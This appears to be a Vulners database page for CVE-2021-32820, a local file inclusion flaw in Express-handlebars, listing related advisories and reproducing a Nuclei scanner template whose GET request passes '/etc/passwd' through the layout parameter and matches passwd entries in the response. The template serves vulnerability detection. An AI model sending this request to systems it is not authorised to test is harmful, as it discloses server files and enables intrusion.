| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Security Bulletin: IBM Security SOAR is using a component with known vulnerabilities - Handlebars.js ( CVE-2019-19919, CVE-2021-32820) | 16 Jul 202111:00 | – | ibm | |
| CVE-2021-32820 | 27 Apr 202309:58 | – | circl | |
| handlebars 代码注入漏洞 | 14 May 202100:00 | – | cnnvd | |
| CVE-2021-32820 | 14 May 202118:25 | – | cve | |
| CVE-2021-32820 File disclosure in Express Handlebars | 14 May 202118:25 | – | cvelist | |
| Insecure template handling in Express-handlebars | 10 Feb 202223:35 | – | github | |
| CVE-2021-32820 | 14 May 202119:15 | – | nvd | |
| BIT-HANDLEBARS-2021-32820 File disclosure in Express Handlebars | 6 Mar 202410:52 | – | osv | |
| GHSA-FR76-2WP8-FP92 Insecure template handling in Express-handlebars | 10 Feb 202223:35 | – | osv | |
| Information disclosure | 14 May 202119:15 | – | prion |
id: CVE-2021-32820
info:
name: Express-handlebars - Local File Inclusion
author: dhiyaneshDk
severity: high
description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
remediation: |
Update to the latest version of Express-handlebars to mitigate the vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
- https://github.com/express-handlebars/express-handlebars/pull/163
- https://nvd.nist.gov/vuln/detail/CVE-2021-32820
- https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger-
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-32820
cwe-id: CWE-94,CWE-200
epss-score: 0.17988
epss-percentile: 0.96832
cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: express_handlebars_project
product: express_handlebars
framework: node.js
tags: cve2021,cve,expressjs,lfi,xxe,express_handlebars_project,node.js,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?layout=/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "daemon:[x*]:0:0:"
- "operator:[x*]:0:0:"
condition: or
- type: status
status:
- 200
# digest: 4a0a004730450221008e79b76c78348f9ead3d21e3186232bfa7426e833139447584b349b80ca4607502201c636492b811a6255b486d68d4def19a333f02432877f40065b89d8c835b87de:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation